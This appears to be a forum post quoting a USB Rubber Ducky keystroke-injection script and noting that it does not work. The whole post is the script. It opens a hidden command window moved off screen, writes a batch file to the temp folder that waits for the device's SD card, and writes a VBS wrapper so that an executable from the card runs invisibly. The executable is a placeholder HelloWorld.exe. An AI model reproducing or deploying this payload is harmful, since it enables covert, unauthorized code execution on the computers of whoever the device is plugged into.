Use script:
REM Author: overwraith
REM Name: RunEXE_V2.txt
REM Purpose: Run an executable file off of the SD card after it mounts. Uses googleknowsbest's slightly more portable method to find the "Ducky" drive.
REM Encoder V2.4
REM Using the run command for a broader OS base.
DEFAULT_DELAY 75
DELAY 3000
GUI r
DELAY 1000
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER
REM Change directories because System32 appears to be protected.
STRING CD %TEMP%
ENTER
REM Make batch file that waits for SD card to mount.
REM Delete batch file if already exists
STRING erase /Q DuckyWait.bat
ENTER
STRING copy con DuckyWait.bat
ENTER
REM DuckyWait.bat
STRING :while1
ENTER
STRING for /f "tokens=3 delims= " %%A in ('echo list volume ^| diskpart ^| findstr "DUCKY"') do (set DUCKYdrive=%%A:)
ENTER
STRING if Exist %DUCKYdrive% (
ENTER
STRING goto :break
ENTER
STRING )
ENTER
STRING timeout /t 30
ENTER
STRING goto :while1
ENTER
STRING :break
ENTER
REM Continue script.
STRING START %DUCKYdrive%\HelloWorld.exe
ENTER
CONTROL z
ENTER
REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY.
REM Delete vbs file if already exists
STRING erase /Q invis.vbs
ENTER
REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up
STRING copy con invis.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL Z
ENTER
REM RUN THE BATCH FILE
STRING wscript.exe invis.vbs DuckyWait.bat
ENTER
REM STRING EXIT
REM ENTER
And nothing happens ...